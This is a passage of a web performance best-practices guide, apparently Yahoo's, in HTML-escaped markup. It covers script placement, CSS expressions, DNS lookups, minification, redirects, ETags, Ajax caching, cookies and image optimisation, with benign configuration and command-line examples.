the HTML  specification and load your stylesheets in the document HEAD.&lt;/p&gt;&lt;h3 id="js_bottom"&gt;Put Scripts at the Bottom&lt;/h3&gt;&lt;p&gt;The problem caused by scripts is that they block parallel downloads. The &lt;a target="_blank" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.1.4"&gt;HTTP/1.1 specification&lt;/a&gt; suggests that browsers download no more than two components in parallel  per hostname. If you serve your images from multiple hostnames, you can  get more than two downloads to occur in parallel. While a script is  downloading, however, the browser won't start any other downloads, even  on different hostnames. &lt;/p&gt;&lt;p&gt;In some situations it's not easy to move scripts to the bottom. If, for example, the script uses document.write  to insert part of the page's content, it can't be moved lower in the  page. There might also be scoping issues. In many cases, there are ways  to workaround these situations.&lt;/p&gt;&lt;p&gt;An alternative suggestion that often comes up is to use deferred scripts. The DEFER  attribute indicates that the script does not contain document.write,  and is a clue to browsers that they can continue rendering.  Unfortunately, Firefox doesn't support the DEFER  attribute. In Internet Explorer, the script may be deferred, but not as  much as desired. If a script can be deferred, it can also be moved to  the bottom of the page. That will make your web pages load faster.&lt;/p&gt;&lt;h3 id="css_expressions"&gt;Avoid CSS Expressions&lt;/h3&gt;&lt;p&gt;CSS expressions are a powerful (and dangerous) way to set CSS  properties dynamically. They're supported in Internet Explorer,  starting with &lt;a target="_blank" href="http://msdn.microsoft.com/workshop/author/dhtml/overview/recalc.asp"&gt;version 5&lt;/a&gt;. As an example, the background color could be set to alternate every hour using CSS expressions.&lt;/p&gt;&lt;pre&gt;      background-color: expression( (new Date()).getHours()%2 ? &amp;quot;#B8D4FF&amp;quot; : &amp;quot;#F08A00&amp;quot; );&lt;/pre&gt;&lt;p&gt;As shown here, the expression method accepts a JavaScript expression. The CSS property is set to the result of evaluating the JavaScript expression. The expression  method is ignored by other browsers, so it is useful for setting  properties in Internet Explorer needed to create a consistent  experience across browsers.&lt;/p&gt;&lt;p&gt;The problem with expressions is that they are evaluated more  frequently than most people expect. Not only are they evaluated when  the page is rendered and resized, but also when the page is scrolled  and even when the user moves the mouse over the page. Adding a counter  to the CSS expression allows us to keep track of when and how often a  CSS expression is evaluated. Moving the mouse around the page can  easily generate more than 10,000 evaluations.&lt;/p&gt;&lt;p&gt;One way to reduce the number of times your CSS expression is  evaluated is to use one-time expressions, where the first time the  expression is evaluated it sets the style property to an explicit  value, which replaces the CSS expression. If the style property must be  set dynamically throughout the life of the page, using event handlers  instead of CSS expressions is an alternative approach. If you must use  CSS expressions, remember that they may be evaluated thousands of times  and could affect the performance of your page.&lt;/p&gt;&lt;h3 id="external"&gt;Make JavaScript and CSS External&lt;/h3&gt;&lt;p&gt;Many of these performance rules deal with how external components  are managed. However, before these considerations arise you should ask  a more basic question: Should JavaScript and CSS be contained in  external files, or inlined in the page itself?&lt;/p&gt;&lt;p&gt;Using external files in the real world generally produces faster  pages because the JavaScript and CSS files are cached by the browser.  JavaScript and CSS that are inlined in HTML documents get downloaded  every time the HTML document is requested. This reduces the number of  HTTP requests that are needed, but increases the size of the HTML  document. On the other hand, if the JavaScript and CSS are in external  files cached by the browser, the size of the HTML document is reduced  without increasing the number of HTTP requests. &lt;/p&gt;&lt;p&gt;The key factor, then, is the frequency with which external  JavaScript and CSS components are cached relative to the number of HTML  documents requested. This factor, although difficult to quantify, can  be gauged using various metrics. If users on your site have multiple  page views per session and many of your pages re-use the same scripts  and stylesheets, there is a greater potential benefit from cached  external files. &lt;/p&gt;&lt;p&gt;Many web sites fall in the middle of these metrics. For these sites,  the best solution generally is to deploy the JavaScript and CSS as  external files. The only exception where inlining is preferable is with  home pages, such as &lt;a target="_blank" href="http://www.yahoo.com"&gt;Yahoo!'s front page&lt;/a&gt; and &lt;a target="_blank" href="http://my.yahoo.com"&gt;My Yahoo!&lt;/a&gt;.  Home  pages that have few (perhaps only one) page view per session may find  that inlining JavaScript and CSS results in faster end-user response  times.&lt;/p&gt;&lt;p&gt;For front pages that are typically the first of many page views,  there are techniques that leverage the reduction of HTTP requests that  inlining provides, as well as the caching benefits achieved through  using external files. One such technique is to inline JavaScript and  CSS in the front page, but dynamically download the external files  after the page has finished loading. Subsequent pages would reference  the external files that should already be in the browser's cache.&lt;/p&gt;&lt;h3 id="dns_lookups"&gt;Reduce DNS Lookups&lt;/h3&gt;&lt;p&gt;The Domain Name System (DNS) maps hostnames to IP addresses, just as  phonebooks map people's names to their phone numbers. When you type  www.yahoo.com into your browser, a DNS resolver contacted by the  browser returns that server's IP address. DNS has a cost. It typically  takes 20-120 milliseconds for DNS to lookup the IP address for a given  hostname. The browser can't download anything from this hostname until  the DNS lookup is completed. &lt;/p&gt;&lt;p&gt;DNS lookups are cached for better performance. This caching can  occur on a special caching server, maintained by the user's ISP or  local area network, but there is also caching that occurs on the  individual user's computer. The DNS information remains in the  operating system's DNS cache (the &amp;quot;DNS Client service&amp;quot; on Microsoft  Windows). Most browsers have their own caches, separate from the  operating system's cache. As long as the browser keeps a DNS record in  its own cache, it doesn't bother the operating system with a request  for the record.&lt;/p&gt;&lt;p&gt;Internet Explorer caches DNS lookups for 30 minutes by default, as specified by the  DnsCacheTimeout registry setting. Firefox caches DNS lookups for 1 minute, controlled by the network.dnsCacheExpiration configuration setting. (Fasterfox changes this to 1 hour.)&lt;/p&gt;&lt;p&gt;When the client's DNS cache is empty (for both the browser and the  operating system), the number of DNS lookups is equal to the number of  unique hostnames in the web page. This includes the hostnames used in  the page's URL, images, script files, stylesheets, Flash objects, etc.  Reducing the number of unique hostnames reduces the number of DNS  lookups. &lt;/p&gt;&lt;p&gt;Reducing the number of unique hostnames has the potential to reduce  the amount of parallel downloading that takes place in the page.  Avoiding DNS lookups cuts response times, but reducing parallel  downloads may increase response times. My guideline is to split these  components across at least two but no more than four hostnames. This  results in a good compromise between reducing DNS lookups and allowing  a high degree of parallel downloads.&lt;/p&gt;&lt;h3 id="minify"&gt;Minify JavaScript and CSS&lt;/h3&gt;&lt;p&gt;Minification is the practice of removing unnecessary characters from  code to reduce its size thereby improving load times. When code is  minified all comments are removed, as well as unneeded white space  characters (space, newline, and tab). In the case of JavaScript, this  improves response time performance because the size of the downloaded  file is reduced. Two popular tools for minifying JavaScript code are &lt;a target="_blank" href="http://crockford.com/javascript/jsmin"&gt;JSMin&lt;/a&gt; and &lt;a target="_blank" href="http://developer.yahoo.com/yui/compressor/"&gt;YUI Compressor&lt;/a&gt;. The YUI compressor can also minify CSS.&lt;/p&gt;&lt;p&gt;Obfuscation is an alternative optimization that can be applied to  source code. It's more complex than minification and thus more likely  to generate bugs as a result of the obfuscation step itself. In a  survey of ten top U.S. web sites, minification achieved a 21% size  reduction versus 25% for obfuscation. Although obfuscation has a higher  size reduction, minifying JavaScript is less risky.&lt;/p&gt;&lt;p&gt;In addition to minifying external scripts and styles, inlined &amp;lt;script&amp;gt; and &amp;lt;style&amp;gt;  blocks can and should also be minified. Even if you gzip your scripts  and styles, minifying them will still reduce the size by 5% or more. As  the use and size of JavaScript and CSS increases, so will the savings  gained by minifying your code.&lt;/p&gt;&lt;h3 id="redirects"&gt;Avoid Redirects&lt;/h3&gt;&lt;p&gt;Redirects are accomplished using the 301 and 302 status codes. Here's an example of the HTTP headers in a 301 response:&lt;/p&gt;&lt;pre&gt;      HTTP/1.1 301 Moved Permanently        Location: http://example.com/newuri        Content-Type: text/html&lt;/pre&gt;&lt;p&gt;The browser automatically takes the user to the URL specified in the Location  field. All the information necessary for a redirect is in the headers.  The body of the response is typically empty. Despite their names,  neither a 301 nor a 302 response is cached in practice unless  additional headers, such as Expires or Cache-Control,  indicate it should be. The meta refresh tag and JavaScript are other  ways to direct users to a different URL, but if you must do a redirect,  the preferred technique is to use the standard 3xx HTTP status codes,  primarily to ensure the back button works correctly.&lt;/p&gt;&lt;p&gt;The main thing to remember is that redirects slow down the user  experience. Inserting a redirect between the user and the HTML document  delays everything in the page since nothing in the page can be rendered  and no components can start being downloaded until the HTML document  has arrived.&lt;/p&gt;&lt;p&gt;One of the most wasteful redirects happens frequently and web  developers are generally not aware of it. It occurs when a trailing  slash (/) is missing from a URL that should otherwise have one. For  example, going to &lt;a target="_blank" href="http://astrology.yahoo.com/astrology"&gt;http://astrology.yahoo.com/astrology&lt;/a&gt; results in a 301 response containing a redirect to &lt;a target="_blank" href="http://astrology.yahoo.com/astrology/"&gt;http://astrology.yahoo.com/astrology/&lt;/a&gt; (notice the added trailing slash). This is fixed in Apache by using Alias or mod_rewrite, or the DirectorySlash directive if you're using Apache handlers.&lt;/p&gt;&lt;p&gt;Connecting an old web site to a new one is another common use for  redirects. Others include connecting different parts of a website and  directing the user based on certain conditions (type of browser, type  of user account, etc.). Using a redirect to connect two web sites is  simple and requires little additional coding. Although using redirects  in these situations reduces the complexity for developers, it degrades  the user experience. Alternatives for this use of redirects include  using Alias and mod_rewrite if the two code  paths are hosted on the same server. If a domain name change is the  cause of using redirects, an alternative is to create a CNAME (a DNS  record that creates an alias pointing from one domain name to another)  in combination with Alias or mod_rewrite.&lt;/p&gt;&lt;h3 id="js_dupes"&gt;Remove Duplicate Scripts&lt;/h3&gt;&lt;p&gt;It hurts performance to include the same JavaScript file twice in  one page. This isn't as unusual as you might think. A review of the ten  top U.S. web sites shows that two of them contain a duplicated script.  Two main factors increase the odds of a script being duplicated in a  single web page: team size and number of scripts. When it does happen,  duplicate scripts hurt performance by creating unnecessary HTTP  requests and wasted JavaScript execution.&lt;/p&gt;&lt;p&gt;Unnecessary HTTP requests happen in Internet Explorer, but not in  Firefox. In Internet Explorer, if an external script is included twice  and is not cacheable, it generates two HTTP requests during page  loading. Even if the script is cacheable, extra HTTP requests occur  when the user reloads the page.&lt;/p&gt;&lt;p&gt;In addition to generating wasteful HTTP requests, time is wasted  evaluating the script multiple times. This redundant JavaScript  execution happens in both Firefox and Internet Explorer, regardless of  whether the script is cacheable.&lt;/p&gt;&lt;p&gt;One way to avoid accidentally including the same script twice is to  implement a script management module in your templating system. The  typical way to include a script is to use the SCRIPT tag in your HTML  page.&lt;/p&gt;&lt;pre&gt;      &amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;menu_1.0.17.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;p&gt;An alternative in PHP would be to create a function called insertScript.&lt;/p&gt;&lt;pre&gt;      &amp;lt;?php insertScript(&amp;quot;menu.js&amp;quot;) ?&amp;gt;&lt;/pre&gt;&lt;p&gt;In addition to preventing the same script from being inserted  multiple times, this function could handle other issues with scripts,  such as dependency checking and adding version numbers to script  filenames to support far future Expires headers.&lt;/p&gt;&lt;h3 id="etags"&gt;Configure ETags&lt;/h3&gt;&lt;p&gt;Entity tags (ETags) are a mechanism that web servers and browsers  use to determine whether the component in the browser's cache matches  the one on the origin server. (An &amp;quot;entity&amp;quot; is another word a  &amp;quot;component&amp;quot;: images, scripts, stylesheets, etc.) ETags were added to  provide a mechanism for validating entities that is more flexible than  the last-modified date. An ETag is a string that uniquely identifies a  specific version of a component. The only format constraints are that  the string be quoted. The origin server specifies the component's ETag  using the ETag response header.&lt;/p&gt;&lt;pre&gt;      HTTP/1.1 200 OK        Last-Modified: Tue, 12 Dec 2006 03:03:59 GMT        ETag: &amp;quot;10c24bc-4ab-457e1c1f&amp;quot;        Content-Length: 12195&lt;/pre&gt;&lt;p&gt;Later, if the browser has to validate a component, it uses the If-None-Match  header to pass the ETag back to the origin server. If the ETags match,  a 304 status code is returned reducing the response by 12195 bytes for  this example. &lt;/p&gt;&lt;pre&gt;      GET /i/yahoo.gif HTTP/1.1        Host: us.yimg.com        If-Modified-Since: Tue, 12 Dec 2006 03:03:59 GMT        If-None-Match: &amp;quot;10c24bc-4ab-457e1c1f&amp;quot;        HTTP/1.1 304 Not Modified&lt;/pre&gt;&lt;p&gt;The problem with ETags is that they typically are constructed using  attributes that make them unique to a specific server hosting a site.  ETags won't match when a browser gets the original component from one  server and later tries to validate that component on a different  server, a situation that is all too common on Web sites that use a  cluster of servers to handle requests. By default, both Apache and IIS  embed data in the ETag that dramatically reduces the odds of the  validity test succeeding on web sites with multiple servers. &lt;/p&gt;&lt;p&gt;The ETag format for Apache 1.3 and 2.x is inode-size-timestamp.  Although a given file may reside in the same directory across multiple  servers, and have the same file size, permissions, timestamp, etc., its  inode is different from one server to the next. &lt;/p&gt;&lt;p&gt;IIS 5.0 and 6.0 have a similar issue with ETags. The format for ETags on IIS is Filetimestamp:ChangeNumber. A ChangeNumber is a counter used to track configuration changes to IIS. It's unlikely that the ChangeNumber is the same across all IIS servers behind a web site. &lt;/p&gt;&lt;p&gt;The end result is ETags generated by Apache and IIS for the  exact same component won't match from one server to another. If the  ETags don't match, the user doesn't receive the small, fast 304  response that ETags were designed for; instead, they'll get a normal  200 response along with all the data for the component. If you host  your web site on just one server, this isn't a problem. But if you have  multiple servers hosting your web site, and you're using Apache or IIS  with the default ETag configuration, your users are getting slower  pages, your servers have a higher load, you're consuming greater  bandwidth, and proxies aren't caching your content efficiently. Even if  your components have a far future Expires header, a conditional GET request is still made whenever the user hits Reload or Refresh. &lt;/p&gt;&lt;p&gt;If you're not taking advantage of the flexible validation model  that ETags provide, it's better to just remove the ETag altogether. The  Last-Modified header validates based on the component's  timestamp. And removing the ETag reduces the size of the HTTP headers  in both the response and subsequent requests. This &lt;a target="_blank" href="http://support.microsoft.com/?id=922733"&gt;Microsoft Support article&lt;/a&gt; describes how to remove ETags. In Apache, this is done by simply adding the following line to your Apache configuration file: &lt;/p&gt;&lt;pre&gt;      FileETag none&lt;/pre&gt;&lt;h3 id="cacheajax"&gt;Make Ajax Cacheable&lt;/h3&gt;&lt;p&gt;One of the cited benefits of Ajax is that it provides instantaneous  feedback to the user because it requests information asynchronously  from the backend web server. However, using Ajax is no guarantee that  the user won't be twiddling his thumbs waiting for those asynchronous  JavaScript and XML responses to return. In many applications, whether  or not the user is kept waiting depends on how Ajax is used. For  example, in a web-based email client the user will be kept waiting for  the results of an Ajax request to find all the email messages that  match their search criteria. It's important to remember that  &amp;quot;asynchronous&amp;quot; does not imply &amp;quot;instantaneous&amp;quot;.&lt;/p&gt;&lt;p&gt;To improve performance, it's important to optimize these Ajax  responses. The most important way to improve the performance of Ajax is  to make the responses cacheable, as discussed in &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#expires"&gt;Add an Expires or a Cache-Control Header&lt;/a&gt;. Some of the other rules also apply to Ajax:&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;  &lt;br /&gt;  &lt;li&gt; &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#gzip"&gt;Gzip Components&lt;/a&gt;&lt;br /&gt;  &lt;/li&gt;  &lt;li&gt; &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#dns_lookups"&gt;Reduce DNS Lookups&lt;/a&gt;&lt;br /&gt;  &lt;/li&gt;  &lt;li&gt; &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#minify"&gt;Minify JavaScript&lt;/a&gt;&lt;br /&gt;  &lt;/li&gt;  &lt;li&gt; &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#redirects"&gt;Avoid Redirects&lt;/a&gt;&lt;br /&gt;  &lt;/li&gt;  &lt;li&gt; &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#etags"&gt;Configure ETags&lt;/a&gt;&lt;br /&gt;  &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Let's look at an example. A Web 2.0 email client might use Ajax to  download the user's address book for autocompletion. If the user hasn't  modified her address book since the last time she used the email web  app, the previous address book response could be read from cache if  that Ajax response was made cacheable with a future Expires or  Cache-Control header. The browser must be informed when to use a  previously cached address book response versus requesting a new one.  This could be done by adding a timestamp to the address book Ajax URL  indicating the last time the user modified her address book, for  example, &amp;amp;t=1190241612. If the address book hasn't  been modified since the last download, the timestamp will be the same  and the address book will be read from the browser's cache eliminating  an extra HTTP roundtrip. If the user has modified her address book, the  timestamp ensures the new URL doesn't match the cached response, and  the browser will request the updated address book entries.&lt;/p&gt;&lt;p&gt;Even though your Ajax responses are created dynamically, and might  only be applicable to a single user, they can still be cached. Doing so  will make your Web 2.0 apps faster.&lt;/p&gt;&lt;h3&gt;Flush the Buffer Early&lt;/h3&gt;&lt;p&gt; When users request a page, it can take anywhere from 200 to 500ms for the backend server to stitch together the HTML page.   During this time, the browser is idle as it waits for the data to arrive.   In PHP you have the function &lt;a target="_blank" href="http://php.net/flush"&gt;flush()&lt;/a&gt;.   It allows you to send your partially ready HTML response to the browser so that   the browser can start fetching components while your backend is busy with the rest of the HTML page.   The benefit is mainly seen on busy backends or light frontends. &lt;/p&gt;&lt;p&gt; A good place to consider flushing is right after the HEAD because the HTML for the head is      usually easier to produce and it allows you to include any CSS and JavaScript      files for the browser to start fetching in parallel while the backend is still processing. &lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;pre&gt;      ... &amp;lt;!-- css, js --&amp;gt;      &amp;lt;/head&amp;gt;      &amp;lt;?php flush(); ?&amp;gt;      &amp;lt;body&amp;gt;        ... &amp;lt;!-- content --&amp;gt;  &lt;/pre&gt;&lt;p&gt;&lt;a target="_blank" href="http://search.yahoo.com"&gt;Yahoo! search&lt;/a&gt; pioneered research and real user testing to prove the benefits of using this technique.&lt;/p&gt;&lt;h3 id="ajax_get"&gt;Use GET for AJAX Requests&lt;/h3&gt;&lt;p&gt; The &lt;a target="_blank" href="http://mail.yahoo.com"&gt;Yahoo! Mail&lt;/a&gt; team found that when using XMLHttpRequest,  POST is implemented in the browsers as a two-step process: sending the  headers first, then sending data. So it's best to use GET, which only  takes one TCP packet to send (unless you have a lot of cookies). The  maximum URL length in IE is 2K, so if you send more than 2K data you  might not be able to use GET. &lt;/p&gt;&lt;p&gt;An interesting side affect is that POST without actually posting any data behaves like GET.  Based on the &lt;a target="_blank" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html"&gt;HTTP specs&lt;/a&gt;,  GET is meant for retrieving information, so it makes sense  (semantically) to use GET when you're only requesting data, as opposed  to sending data to be stored server-side. &lt;/p&gt;&lt;h3 id="postload"&gt;Post-load Components&lt;/h3&gt;&lt;p&gt; You can take a closer look at your page and ask yourself: &amp;quot;What's  absolutely required in order to render the page initially?&amp;quot;. The rest  of the content and components can wait. &lt;/p&gt;&lt;p&gt; JavaScript is an ideal candidate for splitting before and after the  onload event. For example if you have JavaScript code and libraries  that do drag and drop and animations, those can wait, because dragging  elements on the page comes after the initial rendering. Other places to  look for candidates for post-loading include hidden content (content  that appears after a user action) and images below the fold. &lt;/p&gt;&lt;p&gt; Tools to help you out in your effort: &lt;a target="_blank" href="http://developer.yahoo.com/yui/imageloader/"&gt;YUI Image Loader&lt;/a&gt; allows you to delay images      below the fold and the &lt;a target="_blank" href="http://developer.yahoo.com/yui/get/"&gt;YUI Get utility&lt;/a&gt; is an easy way to include JS and CSS on the fly.      For an example in the wild take a look at &lt;a target="_blank" href="http://www.yahoo.com"&gt;Yahoo! Home Page&lt;/a&gt; with Firebug's Net Panel turned on. &lt;/p&gt;&lt;p&gt; It's good when the performance goals are inline with other web  development best practices. In this case, the idea of progressive  enhancement tells us that JavaScript, when supported, can improve the  user experience but you have to make sure the page works even without  JavaScript. So after you've made sure the page works fine, you can  enhance it with some post-loaded scripts that give you more bells and  whistles such as drag and drop and animations. &lt;/p&gt;&lt;h3 id="preload"&gt;Preload Components&lt;/h3&gt;&lt;p&gt; Preload may look like the opposite of post-load, but it actually has a different goal.      By preloading components you can take advantage of the time the browser is idle and request components      (like images, styles and scripts) you'll need in the future.      This way when the user visits the next page, you could have most of the components already in      the cache and your page will load much faster for the user. &lt;/p&gt;&lt;p&gt; There are actually several types of preloading: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;&lt;em&gt;Unconditional&lt;/em&gt; preload - as soon as onload fires, you go ahead and fetch some extra components.          Check google.com for an example of how a sprite image is requested onload. This sprite image is          not needed on the google.com homepage, but it is needed on the consecutive search result page.&lt;/li&gt;  &lt;li&gt;&lt;em&gt;Conditional&lt;/em&gt; preload - based on a user action you make an educated guess where the user is headed next and preload accordingly.          On &lt;a target="_blank" href="http://search.yahoo.com"&gt;search.yahoo.com&lt;/a&gt; you can see how some extra components are requested          after you start typing in the input box.&lt;/li&gt;  &lt;li&gt;&lt;em&gt;Anticipated&lt;/em&gt; preload - preload in advance before launching a redesign. It often  happens after a redesign that you hear: &amp;quot;The new site is cool, but it's  slower than before&amp;quot;. Part of the problem could be that the users were  visiting your old site with a full cache, but the new one is always an  empty cache experience. You can mitigate this side effect by preloading  some components before you even launched the redesign. Your old site  can use the time the browser is idle and request images and scripts  that will be used by the new site&lt;/li&gt;&lt;/ul&gt;&lt;h3 id="min_dom"&gt;Reduce the Number of DOM Elements&lt;/h3&gt;&lt;p&gt; A complex page means more bytes to download and it also means slower DOM access in JavaScript. It makes a difference      if you loop through 500 or 5000 DOM elements on the page when you want to add an event handler for example. &lt;/p&gt;&lt;p&gt; A high number of DOM elements can be a symptom that there's something that should be improved with the markup      of the page without necessarily removing content.      Are you using nested tables for layout purposes?      Are you throwing in more &amp;lt;div&amp;gt;s only to fix layout issues?      Maybe there's a better and more semantically correct way to do your markup. &lt;/p&gt;&lt;p&gt; A great help with layouts are the &lt;a target="_blank" href="http://developer.yahoo.com/yui/"&gt;YUI CSS utilities&lt;/a&gt;:      grids.css can help you with the overall layout, fonts.css and reset.css      can help you strip away the browser's defaults formatting.      This is a chance to start fresh and think about your markup,      for example use &amp;lt;div&amp;gt;s only when it makes sense semantically, and not because it renders a new line. &lt;/p&gt;&lt;p&gt; The number of DOM elements is easy to test, just type in Firebug's console:&lt;br /&gt;  document.getElementsByTagName('*').length &lt;/p&gt;&lt;p&gt; And how many DOM elements are too many? Check other similar pages that have good markup.      For example the &lt;a target="_blank" href="http://www.yahoo.com"&gt;Yahoo! Home Page&lt;/a&gt; is a pretty busy page and still under 700 elements (HTML tags). &lt;/p&gt;&lt;h3 id="split"&gt;Split Components Across Domains&lt;/h3&gt;&lt;p&gt; Splitting components allows you to maximize parallel downloads. Make sure you're using      not more than 2-4 domains because of the DNS lookup penalty.      For example, you can host your HTML and dynamic content      on www.example.org      and split static components between static1.example.org and static2.example.org &lt;/p&gt;&lt;p&gt; For more information check      &amp;quot;&lt;a target="_blank" href="http://yuiblog.com/blog/2007/04/11/performance-research-part-4/"&gt;Maximizing Parallel Downloads in the Carpool Lane&lt;/a&gt;&amp;quot; by Tenni Theurer and Patty Chi. &lt;/p&gt;&lt;h3 id="iframes"&gt;Minimize the Number of iframes&lt;/h3&gt;&lt;p&gt; Iframes allow an HTML document to be inserted in the parent document.      It's important to understand how iframes work so they can be used effectively. &lt;/p&gt;&lt;p&gt; &amp;lt;iframe&amp;gt; pros: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;Helps with slow third-party content like badges and ads&lt;/li&gt;  &lt;li&gt;Security sandbox&lt;/li&gt;  &lt;li&gt;Download scripts in parallel&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &amp;lt;iframe&amp;gt; cons: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;Costly even if blank&lt;/li&gt;  &lt;li&gt;Blocks page onload&lt;/li&gt;  &lt;li&gt;Non-semantic&lt;/li&gt;&lt;/ul&gt;&lt;h3 id="no404"&gt;No 404s&lt;/h3&gt;&lt;p&gt; HTTP requests are expensive so making an HTTP request and getting a useless response (i.e. 404 Not Found)      is totally unnecessary and will slow down the user experience without any benefit. &lt;/p&gt;&lt;p&gt; Some sites have helpful 404s &amp;quot;Did you mean X?&amp;quot;, which is great for the user      experience but also wastes server resources (like database, etc).      Particularly bad is when the link to an external JavaScript is wrong and the result is a 404.      First, this download will block parallel downloads. Next the browser may try to parse      the 404 response body as if it were JavaScript code, trying to find something usable in it. &lt;/p&gt;&lt;h3 id="cookie_size"&gt;Reduce Cookie Size&lt;/h3&gt;&lt;p&gt; HTTP cookies are used for a variety of reasons such as authentication and personalization.      Information about cookies is exchanged in the HTTP headers between web servers and browsers.      It's important to keep the size of cookies as low as possible to minimize the impact on the user's response time. &lt;/p&gt;&lt;p&gt; For more information check &lt;a target="_blank" href="http://yuiblog.com/blog/2007/03/01/performance-research-part-3/"&gt;&amp;quot;When the Cookie Crumbles&amp;quot;&lt;/a&gt; by Tenni Theurer and Patty Chi.      The take-home of this research: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;Eliminate unnecessary cookies&lt;/li&gt;  &lt;li&gt;Keep cookie sizes as low as possible to minimize the impact on the user response time&lt;/li&gt;  &lt;li&gt;Be mindful of setting cookies at the appropriate domain level so other sub-domains are not affected&lt;/li&gt;  &lt;li&gt;Set an Expires date appropriately. An earlier Expires date or none removes the cookie sooner, improving the user response time&lt;/li&gt;&lt;/ul&gt;&lt;h3 id="cookie_free"&gt;Use Cookie-free Domains for Components&lt;/h3&gt;&lt;p&gt; When the browser makes a request for a static image and sends cookies together with the request,      the server doesn't have any use for those cookies. So they only create network traffic for no good      reason. You should make sure static components are requested with cookie-free requests. Create      a subdomain and host all your static components there. &lt;/p&gt;&lt;p&gt; If your domain is www.example.org, you can host your static components      on static.example.org. However, if you've already set cookies on the top-level domain      example.org as opposed to www.example.org, then all the requests to      static.example.org will include those cookies. In this case, you can buy a whole new domain, host your static      components there, and keep this domain cookie-free. Yahoo! uses yimg.com, YouTube uses ytimg.com,      Amazon uses images-amazon.com and so on. &lt;/p&gt;&lt;p&gt; Another benefit of hosting static components on a cookie-free  domain is that some proxies might refuse to cache the components that  are requested with cookies. On a related note, if you wonder if you  should use example.org or www.example.org for your home page, consider  the cookie impact. Omitting www leaves you no choice but to write  cookies to *.example.org, so for performance reasons it's best to use the      www subdomain and      write the cookies to that subdomain. &lt;/p&gt;&lt;h3 id="dom_access"&gt;Minimize DOM Access&lt;/h3&gt;&lt;p&gt; Accessing DOM elements with JavaScript is slow so in order to have a more responsive page, you should: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;Cache references to accessed elements&lt;/li&gt;  &lt;li&gt;Update nodes &amp;quot;offline&amp;quot; and then add them to the tree&lt;/li&gt;  &lt;li&gt;Avoid fixing layout with JavaScript&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; For more information check the YUI theatre's &lt;a target="_blank" href="http://yuiblog.com/blog/2007/12/20/video-lecomte/"&gt;&amp;quot;High Performance Ajax Applications&amp;quot;&lt;/a&gt; by Julien Lecomte. &lt;/p&gt;&lt;h3 id="events"&gt;Develop Smart Event Handlers&lt;/h3&gt;&lt;p&gt; Sometimes pages feel less responsive because of too many event handlers attached to different      elements of the DOM tree which are then executed too often. That's why using &lt;em&gt;event delegation&lt;/em&gt; is a good approach.      If you have 10 buttons inside a div,  attach only one event handler to the div wrapper, instead of one  handler for each button. Events bubble up so you'll be able to catch  the event and figure out which button it originated from. &lt;/p&gt;&lt;p&gt; You also don't need to wait for the onload event in order to start  doing something with the DOM tree. Often all you need is the element  you want to access to be available in the tree. You don't have to wait  for all images to be downloaded. DOMContentLoaded is the event you might consider using instead of onload, but until it's available in all browsers, you      can use the &lt;a target="_blank" href="http://developer.yahoo.com/yui/event/"&gt;YUI Event&lt;/a&gt; utility, which has an &lt;a target="_blank" href="http://developer.yahoo.com/yui/event/#onavailable"&gt;onAvailable&lt;/a&gt; method. &lt;/p&gt;&lt;p&gt; For more information check the YUI theatre's &lt;a target="_blank" href="http://yuiblog.com/blog/2007/12/20/video-lecomte/"&gt;&amp;quot;High Performance Ajax Applications&amp;quot;&lt;/a&gt; by Julien Lecomte. &lt;/p&gt;&lt;h3 id="csslink"&gt;Choose &amp;lt;link&amp;gt; over @import&lt;/h3&gt;&lt;p&gt; One of the previous best practices states that CSS should be at the top in order to allow for      progressive rendering. &lt;/p&gt;&lt;p&gt; In IE @import behaves the same as using &amp;lt;link&amp;gt; at the bottom of the page, so it's best not to use it. &lt;/p&gt;&lt;h3 id="no_filters"&gt;Avoid Filters&lt;/h3&gt;&lt;p&gt; The IE-proprietary AlphaImageLoader filter aims to fix a problem with semi-transparent true color PNGs in IE versions &amp;lt; 7.      The problem with this filter is that it blocks rendering and freezes the browser while the image is being downloaded.      It also increases memory consumption and is applied per element, not per image, so the problem is multiplied. &lt;/p&gt;&lt;p&gt; The best approach is to avoid AlphaImageLoader completely and use gracefully degrading PNG8 instead, which are fine in IE.      If you absolutely need AlphaImageLoader, use the underscore hack _filter as to not penalize your IE7+ users. &lt;/p&gt;&lt;h3 id="opt_images"&gt;Optimize Images&lt;/h3&gt;&lt;p&gt; After a designer is done with creating the images for your web page, there are still some things you can try before you      FTP those images to your web server. &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;You can check the GIFs and see if they are using a palette size corresponding          to the number of colors in the image. Using &lt;a target="_blank" href="http://www.imagemagick.org"&gt;imagemagick&lt;/a&gt; it's easy to check using &lt;br /&gt;    identify -verbose image.gif &lt;br /&gt;    When you see an image useing 4 colors and a 256 color &amp;quot;slots&amp;quot; in the palette, there is room for improvement. &lt;/li&gt;  &lt;li&gt; Try converting GIFs to PNGs and see if there is a saving. More often than not, there is.          Developers often hesitate to use PNGs due to the limited support in browsers, but this is now a thing of the past.          The only real problem is alpha-transparency in true color PNGs, but then again, GIFs are not true color and don't          support variable transparency either.          So anything a GIF can do, a palette PNG (PNG8) can do too (except for animations).          This simple imagemagick command results in totally safe-to-use          PNGs:&lt;br /&gt;    convert image.gif image.png &lt;br /&gt;    &amp;quot;All we are saying is: Give PiNG a Chance!&amp;quot; &lt;/li&gt;  &lt;li&gt; Run &lt;a target="_blank" href="http://pmt.sourceforge.net/pngcrush/"&gt;pngcrush&lt;/a&gt; (or any other PNG optimizer tool) on all your PNGs. Example: &lt;br /&gt;    pngcrush image.png -rem alla 